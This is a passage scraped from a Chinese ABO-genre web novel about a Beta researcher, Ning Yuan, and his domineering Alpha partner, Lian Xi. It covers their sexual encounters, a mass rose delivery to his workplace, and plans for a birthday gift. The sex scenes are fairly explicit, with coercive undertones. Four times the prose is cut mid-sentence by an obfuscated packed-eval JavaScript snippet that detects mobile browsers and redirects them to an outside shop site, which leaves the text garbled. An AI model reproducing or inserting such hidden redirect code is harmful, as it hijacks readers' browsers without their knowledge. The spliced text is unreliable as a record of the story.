“我才没吃醋!倒是你,你不会喜欢上他了吧!” “就见过一次,话都没说几句,我喜欢他什么呀,我喜欢你。” Omega少年热情直白还会哄人,一句告白解除情感危机,把Alpha说得耳朵都红了,哼哼两声,“反正不许你再见他。” “嗯嗯嗯,不见不见。” Omega少年连声附和,朝男友促狭地眨了下眼,“我已经告诉他说我有男朋友了。” 电梯“叮”一声在七楼停下,小情侣甜甜蜜蜜相拥回家,留下宁沅与连溪二人。 宁沅按下关门键,思绪因方才小情侣的谈话不自觉向外延伸。 信息素匹配检测是时下极热门的一个检查项目,Alpha和Omega天然拥有信息素,成年后也有着固定到来的易感期和发情期。 因为有这两项存在,大部分Alpha和Omega在选择伴侣的时候,都会更倾向于选择与自己所对应的性别,但这个选择并没有那么容易做。 Alpha和Omega敏锐的嗅觉能让他们更轻易地分辨别人身上的信息素,却也让他们更加挑剔另一半身上的“味道”,不喜欢的宁可不要。 但信息素对Alpha和Omega来说算是很私人的东西,谁也不会大喇喇地把自己的信息素挂在嘴边,这也就为他们彼此间的寻找增加了许多难度。 于是信息素匹配度检测应运而生,一跃成了时下最热门的检测项目。毕竟A、B、O三种性别中,Beta虽占比最多,但Alpha和Omega加起来的人群数量也不可小觑。 这种类似天生注定的感情,本身就带着许多奇幻和浪漫色彩,并且时下许多观点都认为,高匹配度的AO生育出的后代或许会更优秀。 据说连父当年会跟前任妻子结婚,就是两人之间的匹配度特别高。 所以连溪将来……应该也是如此。 “发什么呆?” 声音从前方传来,宁沅回过神,才发觉电梯不知何时已经停在了二十三层,连溪也已经出去了,正挡着门在外面看他。 “没什么。” 宁沅垂下眼,迈步走出去。 大门在身后关闭,宁沅脚下一轻,整个人被连溪从后抱了起来,转过来抵在墙边,继续他上午未完成的遗憾。 没做任何反抗,宁沅闭上眼睛,任由身前的人施为。 长长的一吻结束,宁沅呼吸已经完全乱了,除了没像上午那般因为挣扎而落了半身狼狈外,旁的和中午时几乎没什么区别。 连溪略微从他唇间离开,轻轻蹭他的鼻尖,“哥哥今天这么乖?” 宁沅早在连溪说要送他回家时就预料过今晚会发生什么,既然怎么挣扎都是徒劳,不若省点力气。 平复过呼吸,宁沅偏头望向里间,“别在这里。” “都听你的。” Alpha闷在他唇间笑了声,抱着他进了浴室。 窗外不知何时下起了大雪,狂风呼啸着肆虐,卷着漫天雪尘飞扬,遮天蔽日。 一墙之隔,卧室里暖意融融。 连溪把空调开得很高,宁沅逐渐热出了汗,落到眼睛里刺得生疼,溢出更多生理性的泪水。 呼吸间尽是Alpha的信息素,霸道的龙舌兰香气令宁沅恍惚觉得自己像是已经喝醉了。 他被连溪横躺在放在床上,视线被顶灯晃成了一块块光斑,抬臂想要遮挡,但没过一会儿就被连溪拉开。 很快双手被制,宁沅不得不向身前的人提出要求,“关灯。” “不要。” 连溪一口回绝,他喜欢看着宁沅,喜欢看着这个对外清冷淡漠的人,在他面前流露出不同于外的神态和表情。 他最爱宁沅的眼睛,那双浅色的眸子素日里毫无情感波动,仿佛任谁也无法停留,却会在这时满满映出他的倒影。 每每看到这双眼睛因他而失神,他心底都会涌上莫大的满足。 连溪情不自禁俯身,低头亲宁沅的眼睛,身体下落挡住一部分光源,宁沅终于得以把眼睛睁开。 “哥哥肯看我了?” 连溪覆在宁沅唇间调侃,松开他方才被制住的双手环在自己肩上,另一手托在宁沅腰后将他抱坐起来。 宁沅呼吸一窒,视线也跟着虚焦,本能抓紧了身前的人,隔了一会儿才找回呼吸。 连溪给他预留了恢复的时间,见他缓过来了,就又贴过来亲他。 作为Beta,宁沅不知道其他Alpha和Omega在一起时是怎样,但他真的吃不消连溪的需求,每次都会难以招架。 想起回来时在电梯里在电梯里遇到的那对小情侣的甜蜜模样,宁沅低声喃喃,“连溪,你应该去找个Omega。” 外力颠弄致使呼吸不匀,宁沅一句话说得断断续续,难为连溪在繁忙中不仅听全,还成功领会到了他的意思。 “Omega哪有哥哥漂亮。” 连溪咬着他的耳垂舔舐,微哑嗓音里含着对他毫不掩饰的欲色。 那如果是比我漂亮的Omega呢,如果有和你匹配度很高的Omega呢? 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004723|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沅不知哪来的冲动,低头咬上Alpha的肩膀。 他在这种事上极少会给连溪什么回应,偶尔有几次,也大都是被逼迫到极限时身体不受控制被动做出的,这样近似于发泄的举动还是头一次。 像是触动了什么开关,连溪短暂地停顿片刻,忽然把他抱下床,摁在怀里强势亲吻起来,边亲边不断喊他的名字。 “哥哥。” “宁沅。” 两个不同的称呼交替在耳边响起,宁沅短暂地对身份认知产生了错乱,放任自己沉沦其中。 * 宁沅不记得自己是什么时候睡着的了,被连溪叫醒时,已经是第二天中午。 七点钟他在生物钟的作用下短暂醒过一次,但实在是太困,眼睛还没完全睁开就又重新闭上。 即使是又睡了几个小时的现在,宁沅意识也依然没完全清醒,视线落在连溪的身上,目光却没聚焦。 连溪甚少看到他脸上出现这般类似茫然的表情,不由停在旁边欣赏了一会儿。 看人眼睛又快要闭上了,连溪才依依不舍地出声,把人再次叫醒,“吃点东西再睡。” “……不饿。” 宁沅将被子盖过头,闭上眼睛想要再睡,却被连溪强行从被窝里挖了出来,“我做了一上午,多少吃一点。” 连溪这句话没夸张,他确实是忙了一上午。 起床后连溪先是给助理打了电话,让人到他住的公寓里开辆车过来,顺便送了电脑和换洗衣物。 之后连溪亲自去买了菜回来做饭,前后忙碌了两个多小时,这才过来叫宁沅起床。 他那几年留学生涯没有白过,一桌子菜都是色香味俱全,看着很是诱人。 然而宁沅实在是没精神,洗漱过后也依然没有什么胃口,只喝了几口汤,挑着吃了点素菜。 连溪有些不高兴,但想着是自己把人折腾成这样的,又没立场多说什么,只好把人放回去睡觉。 宁沅这一觉睡到了下午五点,睁开眼时,恍若有了几分隔世之感。 转过视线,宁沅看到了坐在他旁边的连溪,Alpha鼻梁上架了一副眼镜,对着电脑似乎在看什么文件,眉目沉冷,瞧着有几分陌生。 似乎是察觉到他的目光,连溪忽然偏头看过来。 见他醒了,Alpha弯起笑眼,摘下眼镜过来亲他,“哥哥醒了?” 宁沅任他亲着,思绪想起昨日种种,“你昨天叫我的名字?” “嗯?”连溪在他唇间低声重复,“宁沅?” 连溪不常称呼宁沅的名字,多是带着逗弄或调侃的语气叫他哥哥,乍然从对方口中听到自己的名字,宁沅竟然有些不适应。 他向另一侧偏过头,尽量让自己的声音显得正常,“以后那个时候,不要叫我的名字。” “哪个时候?” 连溪把腿上的电脑放到一边,俯身追过来亲他,不依不饶,“嗯?说清楚。” “……上床。” 宁沅被他逼得没办法,硬挤着说出了这两个字。 “那哥哥是喜欢我在床上叫你哥哥?” Alpha双臂撑在宁沅身侧,微微偏头,问得毫无避讳。 即使房间里只有他们两个人,宁沅也有一种被撬开了外壳摊开在阳光下的错觉,下意识抬手想要堵他的嘴。 连溪扑哧笑起来,捉住他的手放在唇边亲了亲,又低头过来吻他,“哥哥。” “阿沅哥哥。” Alpha低低的声音落在耳边,含着无边缱绻,宁沅垂着的眼睫微微颤了颤,指甲深深掐进掌心。 5. 第 5 章 晚饭是在酒店订的外送,连溪倒是有心想再重做一桌,可宁沅说饿了,不想等那么久。 然后就听Alpha左挑右捡地嫌弃了十多分钟,鸡蛋太老,粥太甜,清炒素菜不够味,炖牛腩又太齁…… 星级酒店的大厨被他嫌弃得活像路边摊,还是那种城管来了厨师要推着小推车在前面跑,顾客端着碗在后面追的那种。 宁沅听得耳朵疼,“你能不能安静一点?” 世界暂时清净,但还没过半分钟,Alpha就又开始作妖,“哥哥昨天输给我,惩罚还没有做。” 宁沅筷子一顿,“你也输了。” “但哥哥输了两次,就算有一次互相抵消,也还剩下一次。” 连溪眨了眨眼,“或者哥哥有什么惩罚想让我做,那就不抵消也可以。” “抵消。” 宁沅很快做出选择,连溪语气很是遗憾,“哥哥不再考虑考虑吗?” 没什么好考虑的,宁沅直接问,“惩罚是什么?” “二十四号是我的生日,哥哥还记得吧。” 见宁沅没否认,连溪唇角微弯,“那就罚哥哥送我件礼物好了。” “礼物?” 宁沅下意识重复了一遍。 “是啊,生日礼物。” Alpha挑起眉,微低的嗓音显出几分暧昧,“哥哥以为是什么?” 宁沅沉默了一下,他还以为连溪会提一些别的事情,毕竟他们在一起的时候除了那种事就是那种事。 低头喝了口水,宁沅直接问连溪,“你要什么礼物?” “说出来就没意思了吧,当然是要哥哥自己想了。” 连溪顿了顿又看向他,“这可是哥哥送给我的第一份礼物,哥哥应该不会随便买什么东西敷衍我吧?” “……不会。” 宁沅先前确实存了几分应付了事的念头,但连溪这么直接地当面问出来,他显然就不能这么做了。 “那我就等着收哥哥的礼物了。” 连溪话音刚落,放在桌边的手机忽然响了起来。 看到来电显示,Alpha脸上笑意瞬间淡去,拿着手机起身去了书房。 这个电话打了接近半个小时,宁沅独自吃完了饭,把扫地机器人放出来打扫卫生,到阳台把洗好烘干后的衣服拿出来,整理后收进衣柜。 连溪打完电话,过来说他今晚要走的时候,宁沅正在往衣柜里挂一件衬衫,闻言背对着他轻轻“嗯”了一声。 “哥哥没什么要对我说的吗?” Alpha忽然过来从背后抱住他,双臂环在他腰间,低头在他耳侧轻吻,“哥哥是不是早就想我走了?” 吐息微热,拂过耳廓带出一片酥麻,宁沅本能地向外躲了一下,“没有。” 人都要走了,宁沅不介意说点好话,但刚说完,耳垂就被人从后咬了一口。 “撒谎。” Alpha埋怨里带着较真,分析得有理有据,“答得这么快,一看就不走心。” 蒙骗不过,宁沅索性实话实说,“是。” Alpha又咬了他一口,语气更加不满,“我还没走呢,哥哥就不能哄哄我吗。” 宁沅:“……” 是不是有病。 说假话怪人撒谎,说真话又怪人不哄他,好话坏话都给你说完了是吧。 似是猜到他在想什么,连溪闷声笑起来,在他耳边报出正确答案,“哥哥应该转过来抱我,说每天都会想我,最后再主动亲我一下。” 宁沅:“……刚才跟你打电话的人应该很着急吧?” 言下之意,你还是快点走吧。 听出他话中的催促之意,连溪低低笑了一声,把他转过来正对着自己,低头吻下来。 一吻结束,Alpha最后附在他耳边道:“我会想你的,哥哥。” 除了顺序,倒是和他之前说的一样。 宁沅脑中蓦地冒出这个想法,鬼使神差地“嗯”了一声。 连溪不在,宁沅本以为自己今晚应该可以睡个好觉,但不知是不是白天睡得太多,到了晚上竟然有些失眠。 翻来覆去许久,终于是在凌晨前勉强睡着,第二天七点钟准时醒了过来。 下床洗漱,换衣服前,宁沅习惯性地拿手机看天气预报,解锁屏幕后,却看到收件箱里躺着一条未读消息。 是连溪发来的,「为了感谢哥哥即将送给我的生日礼物,我决定提前送给哥哥一份回礼,哥哥记得及时查收^_^」 回礼? 宁沅下意识查了一下快递信息,并没有看到什么代收件。 应该是还没发吧。 退出去看了眼天气预报,宁沅收了手机,换衣服出门上班。 研究生毕业后,宁沅原本打算继续读博,但导师建议他先去工作两年,就把他推荐进了现在的研究所。 因为在校时跟着导师出过一些成绩,宁沅在研究所的工作上手很快,没过一年就升了职称,如今已经是在研究所的第二年,他打算再过半年就辞职,回学校继续读博。 到研究所时还算早,宁沅先去餐厅吃了早饭,回办公楼时看到前台围着几个人。 宁沅不是爱凑热闹的性子,略过一眼就从另一边的电梯上楼回了办公室,正收拾东西准备去实验室,许南星忽然从外进来。 看到他在办公室里,许南星很是惊讶,“学长,你怎么在这?” 宁沅被问得奇怪,“不然我应该在哪?” “我以为你还没到呢。”许南星道:“前台有你的花呀,你上来时没看到吗?” 花? 宁沅想起上楼前在前台外围着的那几个人,又想起连溪早上发来的那条短信,心底忽然生出一股不详的预感。 事实证明他的预感没出错,宁沅急匆匆下到一楼,就见前台外围着的人已经比他上楼前多了一倍还多。 正是快上班的时间,一楼大厅里的人很多,都已经打完卡了,大家也不着急上楼,除了一些有事要忙、或是天生不爱凑热闹的人已经走了外,剩下的几乎都在这里了,围在一起津津乐道。 “好热情啊。” “啧,看不出来。” “年轻人就是有活力。” “今天是什么节来着?” 不知是谁先看到了宁沅,喊了一声“宁助理”,其他人瞬间跟着回头,齐刷刷地看向宁沅,目光上上下下地来回把他扫了个遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004724|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁沅进研究所两年头一次被这样围观,受到的注目礼简直比他一年前升职称还多。 顶着周围人或暧昧或调侃的目光走上前,宁沅终于看到了连溪那份让他落于如今境地的“回礼”。 大片大片玫瑰花堆在前台,几乎将这块方寸之地装饰成了玫瑰花的海洋,连冬日里寒冷的空气都被这些火红色的花朵侵染,换成了玫瑰花所独有的馥郁芬芳。 宁沅不知道这里有多少朵花,他前二十多年只买过单束的康乃馨送宁雅,不确定花束堆在一起后该是什么大小。 但从眼前的规模看,不太像是九十九,或许九百九十九都不止,本该在里面的小姑娘都没处下脚,只能跟着人群挤在外面。 看到这些玫瑰花,宁沅的第一反应居然是,这么冷的天,连溪是在哪里搞到这么多玫瑰花的。 他是把整个A市的玫瑰花都买空了吗? “中间还有贺卡呢。” “快看快看。” 周围人看热闹不嫌事大,连声催促,内围圈里某个心急的小姑娘更是直接上手,一把抓过贺卡塞进宁沅手里。 宁沅下意识接住,低头就看到一排龙飞凤舞的熟悉字迹。 【I would have to tell you, you have bewitched me, body and soul.】(注) 宁沅:“……” “嗨呀,脸红了。” * 费了些功夫把花分出去,宁沅回到办公室时,已经是半个小时之后。 人刚坐下,口袋里的手机忽然震动起来,宁沅以为是宁雅打来的,拿出来一看,却是连溪。 这人什么时候改的他的来电提示。 宁沅蹙了下眉,拿着手机出去到楼道里按下接听。 “哥哥。” Alpha熟悉的声音在耳边响起,带着电话也无法阻挡的笑意,“礼物收到了吗?” 宁沅抿了抿唇,“为什么要送那么多花?” “不是说了吗,是回礼。” Alpha的语气听起来很无辜,宁沅却半点也没被蒙蔽。 连溪从来不做没有意义的事情,大张旗鼓地把花送到他工作的地方,还刻意挑在人最多的上班时间,分明就是存心想让人看到。 宁沅忽然想起上周五晚上送许南星回家,意外沾到信息素被连溪发现的事情,“因为信息素?我跟你解释过了,是送同事回去。” “什么信息素?” 连溪的语气听起来漫不经心,像是全然没放在心上,“我不记得了,不然哥哥提醒我一下?” 狡辩。 宁沅面无表情地在心里下了结论,深吸一口气,“随便你记不记得,总之以后不许再往研究所这边送东西,这是最后一次。” “好吧。” 连溪本来也就是想彰显一下主权而已,这种事情做一次就够,次数太多反而显得奇怪,闻言也就答应了。 但宁沅排斥得这么强烈,连溪不由得反省了一下自己的审美,“哥哥不喜欢吗?” 他该喜欢吗? 宁沅想到自己这一路回来接收到的那些成吨的暧昧目光,直接把电话挂了。 6. 第 6 章 拜连溪那片玫瑰花海所赐,宁沅连着几天都在被同事打趣,不得不调整了自己的上下班时间,以降低遇到熟人的频率。 好在所里很快就有了新的项目公布,大家的注意力也随之被转移分散,但宁沅几天下来已经形成习惯,也就没有再改。 今天是周五,自上上周末连溪接到电话离开之后,已经有近半个月没再出现在宁沅面前,只偶尔给他发短信刷存在感,宁沅还是像之前那般看过就算,懒得回复。 事实上两人这样的状态才是常态,连溪其实很忙,从他毕业回国开始,连老爷子便开始让他接手连氏的一部分事务。虽然还未正式指定他做继承人,但明眼人都已经能看出连老爷子待他和连家其他孙辈之间的区别。 连溪经常一忙就是连着几天不出现,但只要一得空,他就会过来找宁沅,然后一待一整天,像是要把之前的都补足了似的。只是像这次这样直接半个月没见人,似乎还是第一次。 按理说连溪不过来,宁沅应该感到轻松。 但通常来说,连溪消失得越久,再出现后就会索补得越多。 这周末连溪过来了还好说,只是半个月,宁沅觉得还能应付,毕竟宁雅生日前连溪被老爷子派去C城参加宴会那次,前后加起来也是有十天没出现。 十天和半个月没差多少,换算一下应该也是一个周末就能过去,最多再加半天。 但连溪这周不过来,那再积攒到下周的话,就是整整三个星期。而且算算时间,连溪的易感期似乎也快到了。 Alpha的易感期通常为三到六个月一次,为期三天,连溪上次的易感期是七月,如今是十二月,最多下个月,连溪的易感期就会到了。 宁沅下意识想起上次意外撞到Alpha易感期的经历,呼吸微顿。 如果可以,宁沅真想连溪最好马上订婚,以后都不要再过来找他。 但豪门联姻没那么轻率决定,而下周六就是二十四号,也就是连溪的生日。 连溪提前那么久跟他索要了礼物,多半是已经提前预留好了时间,不可能不过来。 想起自己那份至今还没确定好的礼物,宁沅微微蹙起眉。 “学长。” 熟悉的轻快声音从前方传来,宁沅闻声抬头,看到了许南星。 宁沅这会儿正在餐厅吃早饭,研究所九点上班,八点钟的餐厅里没几个人,除了宁沅之外,就只有几个加了班的夜猫子和住在附近的老教授。 也是因此,许南星一进来就瞧见他了。 Omega端着餐盘过来,到他面前坐下,“学长来这么早。” 宁沅道:“你不也是。” “来蹭饭嘛。” 许南星吸溜一口豆浆,“毕竟我现在一个人住,不吃餐厅就只能去外面买了,多浪费钱。” Omega小少爷向来花钱如流水,宁沅惊讶于居然能在他口中听到浪费钱这三个字,不由抬头看了他一眼。 许南星被看得不太好意思,“咳”了一声,耳根有点红,“就是之前跟我爸妈吵架了嘛,闹得有点大,他们把我卡停了。” 其实只是调低了一些限额,但小少爷刚搬出来时还没意识到这一点,花钱还是像以前那样没节制,代价就是后面只能节衣缩食。他爸妈大概也没想到宝贝儿子跑出去这么久都不肯回去,两边就这么僵住了。 许南星没主动提,宁沅便没问他是为什么和家里吵架,“钱还够吗?” “够的够的,我昨天去找我哥打劫了。” 许南星嘿嘿一笑,眉眼间神采飞扬,言语中也露出几分小得意来,“我爸妈肯定算着账等我低头呢,我就不回去。” 相识多年,宁沅以前也听许南星提到过自己的家庭情况,知道他有一个非亲生的哥哥,是父母旧友去世后所收养。 虽然前两年对方家里又有亲戚找过来,把人给带回去了,但两人自幼一起长大,关系很不错,如今私下里也还保有联系。 同样是半路兄弟,为何他跟连溪之间就和人家差这么多? 也许可以请教一下? 宁沅想到自己那份至今还没决定好的礼物,忽然起了征求建议的想法,“我有一个朋友……” 许南星:“?” 宁沅待周围人很和善,对自己的事情却很有边界感,相识这么多年,许南星还是头一次听到对方主动提到自己的事情。 Omega咽下嘴里的包子,坐直身体清清嗓子,一派认真模样,“嗯,学长你说。” 宁沅也知道自己这个开头很烂,但话头都起了,也就顺着说下去,“他有个朋友要过生日,需要送一份礼物,但是他跟这个朋友关系不太好,送什么比较合适?” 关系不好还要送礼物? 许南星不是很懂,“随便买点配饰什么?” 配饰宁沅自然也想过,但是这种东西挂在身上存在感太高,连溪又是那么个恶劣性子,宁沅怕自己如果真的送了,连溪会一直戴着那东西在他眼前晃,徒惹心烦。 宁沅道:“有没有什么保质期不那么长的,或者说一次性的东西,又不会显得太敷衍。” 许南星:“……” 要求好多啊。 许南星苦思冥想,还真给想了个出来,“既然是过生日,不如就送蛋糕吧,不能显得敷衍的话,可以自己买好蛋糕胚DIY一下,网上搜个教程,很简单的。” 宁沅想了想,觉得这个蛋糕主意还真挺合适。 保质期短,一次性,吃完就没了,亲手做的话,连溪也挑不出他敷衍的毛病来。 跟许南星道过谢,宁沅回了办公楼,到了下班时间,他照常稍微拖延了一会儿,错开高峰期开车回家。 推开门,感应灯自动亮起,照亮一室静谧。 确定连溪不在,宁沅心里先是一松,旋即又是一紧。 连溪这周还是没有过来,那等到下周,就是整整三个星期…… 为了自己下周能好过一点…… 宁沅握着手机迟疑片刻,给连溪发了条消息。 「你这周还过来吗?」 消息发出去许久没有回应,宁沅也不知是该轻松还是该沉重,坐在沙发上放空了会儿,决定先去洗个澡。 冬天洗澡对宁沅来说是件很惬意的事情,尤其第二天还是周末,不用考虑工作,也不用考虑早起,更重要的是连溪也不在。 洗完澡,宁沅一时兴起把买回来后就一直闲置,据说功能很多很强大但因为很费事,所以一次也没用过的电动浴缸也打开了。 费了一番时间将浴缸洗刷干净,宁沅围着浴巾坐在浴缸旁边等水注满。 氤氲热气熏得思维变缓,汩汩水流声也掩盖了某些动静,直到浴室门被从外推开,宁沅惊然回头,才发觉连溪不知何时竟然回来了。 Alpha穿了一身正装,头发也看得出是提前打理过,像是刚从那个名利场上临时抽身出来,满身从容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004725|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浴室不大,连溪一眼就扫了个完全,目光落在宁沅旁边的浴缸上,幽幽开口,“哥哥好悠闲啊。” 宁沅本能地感到了危险,从浴缸旁站起身,“你怎么来了?” “不是哥哥叫我来的吗?” 连溪慢条斯理地把西装外套脱下来放到一旁,桃花眼微微弯起,朝宁沅笑了一下,“哥哥那么想我,我当然是立即就放下事情赶过来找哥哥了。” 宁沅:“……我只是问你这周还会不会过来。” 连溪抬手松了松领带,微微偏头,“哥哥问我会不会来,难道不就是想我的意思吗?还是说哥哥找我是有别的事情?” 宁沅垂下眼。 他们之间……好像确实没有别的事情可做。 算了,反正他本来想找连溪就是为了这个。如今人都来了,也没什么可纠结的。 “我出去等你。” 宁沅说完,绕开连溪想要出去,却在经过的瞬间被拦腰抱起。 “水都放好了,没人用不是浪费了?要节约用水啊哥哥。” 连溪嘴里说着一副五讲四美的话,手上却不怎么规矩,一手还算老实地托在宁沅腰后,另一手却已经扯开腰带从边缘探进去。 温水泡过的皮肤乍然接触到被冷气浸润过的西装布料,宁沅被冰得颤了一下,身体本能地绷紧。 连溪眸光深了深,抱着宁沅放回到浴缸边上,弯腰俯身,拉着他的手放到自己半松的领带上。 Alpha低头蹭了蹭他的鼻尖,低沉嗓音里含着沙哑欲色,“哥哥,帮我解开。” 宁沅垂着的眼睫颤了颤,慢半拍地动起手指。 他解得很慢,连溪却也不催他,直到他将那副并不复杂的领带结完全解开,从对方头顶取下,Alpha才像是被从斗兽场里开闸放出的猛兽般,低头吻住了他。 随后的一切都是水到渠成。 宁沅半靠在浴缸边缘,忽然想起当时买下这只浴缸时的场景。 他原本是用不上浴缸的,也不觉得自己需要这个东西,但那位销售员小姐推销得很卖力,态度也很诚恳,让宁沅隐约有了种不买就很对不起对方的感觉。 现在回想销售员小姐说的那些什么高端功能,宁沅其实一个也没记住,只知道有最基础的自动清洁和恒温加热,现在被连溪用起来,才知道还有那么多功能。 但他应该不会再用了,至少连溪在的时候不会再用。 或许是场景限制了发挥,Alpha在这种事上作风一贯强势,这次却是难得温柔。 但宁沅却并没比以往好受,反而觉得有些太过磨人。 终于在连溪又一次低头想要亲他的时候,宁沅张口咬住了他。 这一口带了狠劲儿,直接把Alpha的下唇咬破了。 连溪“嘶”一声,抬手按住伤口,几点血珠从他指腹下溢出来,滴进水中散成血雾,“这么凶啊,哥哥。” 宁沅撇开脸,“你太慢了。” 但凡是个Alpha都忍不了床伴在这个时候说这种话,宁沅想着,果不其然看到连溪表情变了。 他起初似乎是想忍一下,但最终还是没忍住,扣着宁沅的后脑吻了下来,“宁沅,这是你自找的。” “啪”的一声,水花飞溅,激烈地拍打在池壁上,又迅速荡回,波纹层层叠叠相撞。 这样就好。 宁沅闭上眼睛,抱紧了身前的人,比起别的,他情愿连溪让他感觉到的是痛。 7. 第 7 章 浴缸里的水洒了一半,宁沅有些失温,本能地往Alpha的怀里缩。 连溪环住他,低头舔了舔他的耳朵,“冷?” 宁沅埋首在他肩膀“嗯”了一声。 “那就出去吧。” 连溪抱着他往外走,步伐很稳,宁沅却不太受得住,挣扎一下,“……你就不能先出来。” “不能。” 连溪说着,掌下施力又把他按回去。 所幸浴室出来后就是卧室,宁沅以为自己很快就会被放回床上,但连溪却把空调调高,抱着他从床尾绕过去,放在了窗边。 两人身高差了半个头,这点差距在平日不显眼,这个时候却格外突出,宁沅没多会儿就站不住了,身体不受控制地往下滑。 “这么娇气啊,哥哥。” Alpha在他身后低低笑了一声,揽着他的腰帮他支撑了一部分力道。 宁沅懒得与他做口舌之争,只想他能快点尽兴。 但这一夜还没这么快结束,就像他之前自我总结过的那样,连溪每次消失的时间越长,再出现后索补的就越多。 天际亮起第一抹鱼肚白之时,连溪拉开窗帘,与他共同看了一场日出。 从晨光熹微到朝霞漫天,Alpha从背后拥着他,附在他耳边轻声低语,“哥哥,天亮了。” 意识到这句话代表什么,宁沅再受不住,靠在连溪怀里沉沉睡去。 * 大概是睡前被折腾了太久,宁沅这一觉睡得不怎么安稳,半梦半醒间,听到连溪的手机似乎响了一次,但很快就没了动静。 周遭太过安静,宁沅下意识想往身后的人怀里缩,却落了个空。 连溪走了吗?应该是走了吧。 宁沅昏昏沉沉想着,这人本来就是昨天被他临时叫过来,或许今天原本是有别的安排。 走了也好,宁沅蜷起身体,放纵自己沉入更深的梦境。 再醒过来已是傍晚,房间里没有开灯,只有一点昏暗的天光从窗帘下摆透进来,勉强能辨认出时间。 算来应该是睡了一个白天,却好似没怎么休息,身体软得使不上力气,连骨头都泛着酸乏。 宁沅试着挪动了一下,觉得有些费劲,只好继续躺着放空。 “醒了?怎么不叫我。” 以为连溪已经走了,所以当后者的声音从头顶响起,宁沅一时没能反应过来,只转动了一下眼珠看向对方。 连溪微微挑眉,像是要确定他这是醒了还是没醒,伸手在他眼前晃了晃。 手掌带动气流拂过脸颊,宁沅动作迟缓地眨了眨眼,慢半拍地开口,嗓音微哑,“你没走吗?” 连溪扶着他坐起一点,倒了杯水给他润喉,“哥哥这是想我走,还是不想我走?” 宁沅道:“我听到你手机响。” “只是些小事罢了。” 连溪轻描淡写带过,又喂他喝了杯水,眉峰微挑,“况且哥哥把我咬成这样,难道不是想要金屋藏娇?” “咳……” 宁沅被呛到了,咳得脸色通红。 连溪轻啧一声,拍着他的背帮他顺气,“不行啊哥哥,脸皮也太薄了。” 宁沅早知道连溪行事无所顾忌,嘴上更是不带把门,但他也真没想到连溪竟然能说出这种话,还说得这般坦然,一瞬间脑子里只剩下了四个字。 “……不知羞耻。” 这四个字不像骂人,落在连溪耳中反而像在调情,反正Alpha脸上是半点不见赧然,相反还虚心请教,“那哥哥把我咬成这样,是知羞耻还是不知羞耻?” 宁沅脸色红了又白,几番变换。 连溪情不自禁想笑,唇角一动却扯到伤口,刚结痂不久的伤口再度撕裂。 几点血珠冒了出来,连溪皱了下眉,起身抽了抽纸按住伤口。 Alpha难得有这般吃瘪的时候,神色很是郁闷。 而一想到这人最爱调笑往后却至少有几天都笑不成,宁沅的心情就随之愉悦起来。 宁沅平素里很少会笑,偶有几次也是对着宁雅和连夏,连溪自己是从没过这待遇。 实际上这次宁沅自己也没发现,还是注意到连溪一直目不转睛地在看他,才后知后觉地反应过来,转开脸收敛笑意。 “再笑一下,哥哥。” 连溪环着他的肩膀把他扳过来正对自己,抵着他的额头低声诱哄,“我想看。” 宁沅不想,随便转移话题,“我饿了。” 连溪看起来不太甘心,箍着他肩膀的手指微微收紧,盯着他停顿两秒,低头重重在他唇上吮吻一口,这才起身去了。 趁时间,宁沅拖着身体下床洗漱。 他力气还没完全恢复,走得很慢,从床边到浴室就挪了两分钟。但无论是做饭还是外送都需要时间,宁沅便也不着急,先洗了脸,再慢吞吞地挤牙膏。 然而还没过一会儿,浴室的门便被从外敲响,“出来吃饭了。” 宁沅没想到会这么快,只好加快速度刷牙,吐掉泡沫出去。 浴室门打开,连溪正守在门边,不等他迈步便很有自觉地弯腰把他抱了起来,大步离开卧室,到餐桌旁放下。 桌上摆了三菜一汤,俱是很清淡的菜色。 宁沅不算挑食,但相较于浓油赤酱,还是更喜清淡,见状便先喝了口汤,正要夹菜,忽然发现旁边的Alpha眼睛一眨不眨地在看他,“怎么了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004726|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好吃吗?” Alpha答非所问。 宁沅隐约察觉到了什么,这么短的时间,他以为连溪是叫的外送,但听人的问话,似乎又不太对。 